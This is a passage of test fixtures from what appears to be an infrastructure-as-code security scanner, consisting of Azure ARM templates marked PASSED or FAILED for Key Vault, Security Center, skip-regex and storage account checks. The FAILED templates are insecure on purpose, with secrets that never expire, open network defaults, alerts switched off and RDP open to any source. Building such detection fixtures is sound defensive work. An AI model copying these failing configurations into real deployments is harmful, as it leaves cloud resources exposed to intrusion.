"sqlVulnerabilityAssessments", "apiVersion": "2022-02-01-preview", "name": "Default", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('serverName'))]" ], "properties": { "state": "Enabled" } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_SecretContentType/SecretExpirationDate-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "keyVaultName": { "type": "string", "metadata": { "description": "Specifies the name of the key vault." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Specifies the Azure location where the key vault should be created." } }, "enabledForDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault." } }, "enabledForDiskEncryption": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys." } }, "enabledForTemplateDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault." } }, "tenantId": { "type": "string", "defaultValue": "[subscription().tenantId]", "metadata": { "description": "Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet." } }, "objectId": { "type": "string", "metadata": { "description": "Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets." } }, "keysPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge." } }, "secretsPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge." } }, "skuName": { "type": "string", "defaultValue": "Standard", "allowedValues": [ "Standard", "Premium" ], "metadata": { "description": "Specifies whether the key vault is a standard vault or a premium vault." } }, "secretName": { "type": "string", "metadata": { "description": "Specifies the name of the secret that you want to create." } }, "secretValue": { "type": "securestring", "metadata": { "description": "Specifies the value of the secret that you want to create." } } }, "resources": [ { "type": "Microsoft.KeyVault/vaults", "name": "[parameters('keyVaultName')]", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "properties": { "enabledForDeployment": "[parameters('enabledForDeployment')]", "enabledForDiskEncryption": "[parameters('enabledForDiskEncryption')]", "enabledForTemplateDeployment": "[parameters('enabledForTemplateDeployment')]", "tenantId": "[parameters('tenantId')]", "accessPolicies": [ { "objectId": "[parameters('objectId')]", "tenantId": "[parameters('tenantId')]", "permissions": { "keys": "[parameters('keysPermissions')]", "secrets": "[parameters('secretsPermissions')]" } } ], "sku": { "name": "[parameters('skuName')]", "family": "A" }, "networkAcls": { "defaultAction": "Allow", "bypass": "AzureServices" } } }, { "type": "Microsoft.KeyVault/vaults/secrets", "name": "fail", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" ], "properties": { "value": "[parameters('secretValue')]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_SecretContentType/SecretExpirationDate-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vaults_pike1_name": { "defaultValue": "pike1", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.KeyVault/vaults", "apiVersion": "2023-02-01", "name": "[parameters('vaults_pike1_name')]", "location": "eastus", "properties": { "sku": { "family": "A", "name": "Standard" }, "tenantId": "8e7f742a-4215-44a0-881b-209124f286b1", "accessPolicies": [], "enabledForDeployment": false, "enabledForDiskEncryption": false, "enabledForTemplateDeployment": false, "enableSoftDelete": true, "softDeleteRetentionInDays": 90, "enableRbacAuthorization": true, "vaultUri": "[concat('https://', parameters('vaults_pike1_name'), '.vault.azure.net/')]", "provisioningState": "Succeeded", "publicNetworkAccess": "Enabled" } }, { "type": "Microsoft.KeyVault/vaults/secrets", "apiVersion": "2023-02-01", "name": "pass", "location": "eastus", "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('vaults_pike1_name'))]" ], "properties": { "contentType": "string", "attributes": { "enabled": true, "nbf": 1692951264, "exp": 1756109371 } } } ] } ================================================ FILE: tests/arm/checks/resource/example_SecretExpirationDate/SecretExpirationDate-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "keyVaultName": { "type": "string", "metadata": { "description": "Specifies the name of the key vault." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Specifies the Azure location where the key vault should be created." } }, "enabledForDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault." } }, "enabledForDiskEncryption": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys." } }, "enabledForTemplateDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault." } }, "tenantId": { "type": "string", "defaultValue": "[subscription().tenantId]", "metadata": { "description": "Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet." } }, "objectId": { "type": "string", "metadata": { "description": "Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets." } }, "keysPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge." } }, "secretsPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge." } }, "skuName": { "type": "string", "defaultValue": "Standard", "allowedValues": [ "Standard", "Premium" ], "metadata": { "description": "Specifies whether the key vault is a standard vault or a premium vault." } }, "secretName": { "type": "string", "metadata": { "description": "Specifies the name of the secret that you want to create." } }, "secretValue": { "type": "securestring", "metadata": { "description": "Specifies the value of the secret that you want to create." } } }, "resources": [ { "type": "Microsoft.KeyVault/vaults", "name": "[parameters('keyVaultName')]", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "properties": { "enabledForDeployment": "[parameters('enabledForDeployment')]", "enabledForDiskEncryption": "[parameters('enabledForDiskEncryption')]", "enabledForTemplateDeployment": "[parameters('enabledForTemplateDeployment')]", "tenantId": "[parameters('tenantId')]", "accessPolicies": [ { "objectId": "[parameters('objectId')]", "tenantId": "[parameters('tenantId')]", "permissions": { "keys": "[parameters('keysPermissions')]", "secrets": "[parameters('secretsPermissions')]" } } ], "sku": { "name": "[parameters('skuName')]", "family": "A" }, "networkAcls": { "defaultAction": "Allow", "bypass": "AzureServices" } } }, { "type": "Microsoft.KeyVault/vaults/secrets", "name": "[concat(parameters('keyVaultName'), '/', parameters('secretName'))]", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" ], "properties": { "value": "[parameters('secretValue')]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_SecretExpirationDate/SecretExpirationDate-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "keyVaultName": { "type": "string", "metadata": { "description": "Specifies the name of the key vault." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Specifies the Azure location where the key vault should be created." } }, "enabledForDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault." } }, "enabledForDiskEncryption": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys." } }, "enabledForTemplateDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault." } }, "tenantId": { "type": "string", "defaultValue": "[subscription().tenantId]", "metadata": { "description": "Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet." } }, "objectId": { "type": "string", "metadata": { "description": "Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets." } }, "keysPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge." } }, "secretsPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge." } }, "skuName": { "type": "string", "defaultValue": "Standard", "allowedValues": [ "Standard", "Premium" ], "metadata": { "description": "Specifies whether the key vault is a standard vault or a premium vault." } }, "secretName": { "type": "string", "metadata": { "description": "Specifies the name of the secret that you want to create." } }, "secretValue": { "type": "securestring", "metadata": { "description": "Specifies the value of the secret that you want to create." } } }, "resources": [ { "type": "Microsoft.KeyVault/vaults", "name": "[parameters('keyVaultName')]", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "properties": { "enabledForDeployment": "[parameters('enabledForDeployment')]", "enabledForDiskEncryption": "[parameters('enabledForDiskEncryption')]", "enabledForTemplateDeployment": "[parameters('enabledForTemplateDeployment')]", "tenantId": "[parameters('tenantId')]", "accessPolicies": [ { "objectId": "[parameters('objectId')]", "tenantId": "[parameters('tenantId')]", "permissions": { "keys": "[parameters('keysPermissions')]", "secrets": "[parameters('secretsPermissions')]" } } ], "sku": { "name": "[parameters('skuName')]", "family": "A" }, "networkAcls": { "defaultAction": "Allow", "bypass": "AzureServices" } } }, { "type": "Microsoft.KeyVault/vaults/secrets", "name": "[concat(parameters('keyVaultName'), '/', parameters('secretName'))]", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" ], "properties": { "value": "[parameters('secretValue')]", "attributes": { "enabled": "true", "exp": "1594389505" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_SecurityCenter/securityCenter-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "pricing": { "type": "string", "allowedValues": [ "Standard", "Free" ], "defaultValue": "Free" }, "autoProvisioning": { "type": "string", "allowedValues": [ "On", "Off" ], "defaultValue": "Off", "metadata": { "description": "Turn automatic deployment by ASC of the MMA (OMS VM extension) on or off" } }, "workspaceName": { "type": "string", "metadata": { "description": "Specify the name of your custom Log Analytics workspace to collect ASC data." } }, "workspaceSubscriptionId": { "type": "string", "metadata": { "description": "Specify the subscriptionId where the custom Log Analytics workspace is deployed." } }, "workspaceResourceGroup": { "type": "string", "metadata": { "description": "Specify the resource group where the custom Log Analytics workspace is deployed." } }, "emailSecurityContact": { "type": "string", "metadata": { "description": "email address of the contact, in the form of john@doe.com" } }, "phoneSecurityContact": { "type": "string", "metadata": { "description": "phone number of the Security Contact" } }, "alertNotifications": { "type": "string", "allowedValues": [ "On", "Off" ], "defaultValue": "Off", "metadata": { "description": "Send alert notifications to Security Contact" } }, "alertsToAdmin": { "type": "string", "allowedValues": [ "On", "Off" ], "defaultValue": "Off", "metadata": { "description": "Send alert notifications to Admins" } } }, "resources": [ { "type": "Microsoft.Security/pricings", "apiVersion": "2017-08-01-preview", "name": "default", "properties": { "pricingTier": "[parameters('pricing')]" } }, { "type": "Microsoft.Security/pricings", "apiVersion": "2018-06-01", "name": "SqlServers", "dependsOn": [ "[concat('Microsoft.Security/pricings/default')]" ], "properties": { "pricingTier": "[parameters('pricing')]" } }, { "type": "Microsoft.Security/pricings", "apiVersion": "2018-06-01", "name": "AppServices", "dependsOn": [ "[concat('Microsoft.Security/pricings/SqlServers')]" ], "properties": { "pricingTier": "[parameters('pricing')]" } }, { "type": "Microsoft.Security/pricings", "apiVersion": "2018-06-01", "name": "VirtualMachines", "dependsOn": [ "[concat('Microsoft.Security/pricings/AppServices')]" ], "properties": { "pricingTier": "[parameters('pricing')]" } }, { "type": "Microsoft.Security/securityContacts", "name": "default1", "apiVersion": "2017-08-01-preview", "properties": { "email": "[parameters('emailSecurityContact')]", "alertNotifications": "[parameters('alertNotifications')]", "alertsToAdmins": "[parameters('alertsToAdmin')]" } } ], "outputs": {} } ================================================ FILE: tests/arm/checks/resource/example_SecurityCenter/securityCenter-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "pricing": { "type": "string", "allowedValues": [ "Standard", "Free" ], "defaultValue": "Standard" }, "autoProvisioning": { "type": "string", "allowedValues": [ "On", "Off" ], "defaultValue": "On", "metadata": { "description": "Turn automatic deployment by ASC of the MMA (OMS VM extension) on or off" } }, "workspaceName": { "type": "string", "metadata": { "description": "Specify the name of your custom Log Analytics workspace to collect ASC data." } }, "workspaceSubscriptionId": { "type": "string", "metadata": { "description": "Specify the subscriptionId where the custom Log Analytics workspace is deployed." } }, "workspaceResourceGroup": { "type": "string", "metadata": { "description": "Specify the resource group where the custom Log Analytics workspace is deployed." } }, "phoneSecurityContact": { "type": "string", "defaultValue": "8675309", "metadata": { "description": "phone number of the Security Contact" } }, "alertNotifications": { "type": "string", "allowedValues": [ "On", "Off" ], "defaultValue": "On", "metadata": { "description": "Send alert notifications to Security Contact" } }, "alertsToAdmin": { "type": "string", "allowedValues": [ "On", "Off" ], "defaultValue": "On", "metadata": { "description": "Send alert notifications to Admins" } } }, "resources": [ { "type": "Microsoft.Security/pricings", "apiVersion": "2017-08-01-preview", "name": "default", "properties": { "pricingTier": "[parameters('pricing')]" } }, { "type": "Microsoft.Security/pricings", "apiVersion": "2018-06-01", "name": "SqlServers", "dependsOn": [ "[concat('Microsoft.Security/pricings/default')]" ], "properties": { "pricingTier": "[parameters('pricing')]" } }, { "type": "Microsoft.Security/pricings", "apiVersion": "2018-06-01", "name": "AppServices", "dependsOn": [ "[concat('Microsoft.Security/pricings/SqlServers')]" ], "properties": { "pricingTier": "[parameters('pricing')]" } }, { "type": "Microsoft.Security/pricings", "apiVersion": "2018-06-01", "name": "VirtualMachines", "dependsOn": [ "[concat('Microsoft.Security/pricings/AppServices')]" ], "properties": { "pricingTier": "[parameters('pricing')]" } }, { "type": "Microsoft.Security/securityContacts", "name": "default1", "apiVersion": "2017-08-01-preview", "properties": { "email": "[parameters('emailSecurityContact')]", "phone": "[parameters('phoneSecurityContact')]", "alertNotifications": "[parameters('alertNotifications')]", "alertsToAdmins": "[parameters('alertsToAdmin')]" } } ], "outputs": {} } ================================================ FILE: tests/arm/checks/resource/example_SkipJsonRegex/skip1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "clusterName": { "type": "string", "defaultValue":"aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "apiVersion": "2019-02-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_SkipJsonRegex/skip2/skip1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "clusterName": { "type": "string", "defaultValue":"aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "apiVersion": "2019-02-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_SkipJsonRegex/skip2/skip2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "clusterName": { "type": "string", "defaultValue":"aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "apiVersion": "2019-02-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_SkipJsonRegex/skip2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "clusterName": { "type": "string", "defaultValue":"aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "apiVersion": "2019-02-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountAzureServicesAccessEnabled/storageAccountAzureServicesAccessEnabled-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "VM admin user name" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "VM admin password" } }, "vnetName": { "type": "string", "defaultValue": "VNet1", "metadata": { "description": "Name of the virtual network" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Address prefix for the virtual network" } }, "subnet1Name": { "type": "string", "defaultValue": "subnet1", "metadata": { "description": "Name of the first subnet in the VNet" } }, "subnet1Prefix": { "type": "string", "defaultValue": "10.0.1.0/24", "metadata": { "description": "Address prefix for subnet1" } }, "subnet2Name": { "type": "string", "defaultValue": "subnet2", "metadata": { "description": "Name of the second subnet in the VNet" } }, "subnet2Prefix": { "type": "string", "defaultValue": "10.0.2.0/24", "metadata": { "description": "Address prefix for subnet2" } }, "vmSize": { "type": "string", "defaultValue": "Standard_A1", "metadata": { "description": "Size of VM" } }, "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "metadata": { "description": "Geo-replication type of Storage account" }, "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ] }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[uniqueString(resourceGroup().id)]", "publicIpAddressName": "pip", "vmName": "testvm", "subnetId": [ "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]", "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]" ], "networkSecurityGroupName": "default-NSG" }, "resources": [ { "comments": "Default Network Security Group for template", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-08-01", "name": "[variables('networkSecurityGroupName')]", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "default-allow-3389", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "3389", "protocol": "Tcp", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/virtualNetworks", "name": "[parameters('vnetName')]", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] }, "subnets": [ { "name": "subnet1", "properties": { "addressPrefix": "[parameters('subnet1Prefix')]", "serviceEndpoints": [ { "service": "Microsoft.Storage" } ], "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" } } }, { "name": "subnet2", "properties": { "addressPrefix": "[parameters('subnet2Prefix')]" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/publicIPAddresses", "name": "[concat(variables('publicIPAddressName'), copyIndex())]", "location": "[parameters('location')]", "copy": { "name": "pipLoop", "count": 2 }, "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "apiVersion": "2016-10-01", "type": "Microsoft.Network/networkInterfaces", "name": "[concat('nic', copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[parameters('vnetName')]", "pipLoop" ], "copy": { "name": "nicLoop", "count": 2 }, "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "privateIPAllocationMethod": "Dynamic", "subnet": { "id": "[variables('subnetId')[copyIndex()]]" }, "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]" } } } ] } }, { "type": "Microsoft.Storage/storageAccounts", "name": "[variables('storageAccountName')]", "apiVersion": "2017-06-01", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]" ], "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "Storage", "properties": { "networkAcls": { "bypass": "None", "virtualNetworkRules": [ { "id": "[variables('subnetId')[0]]", "action": 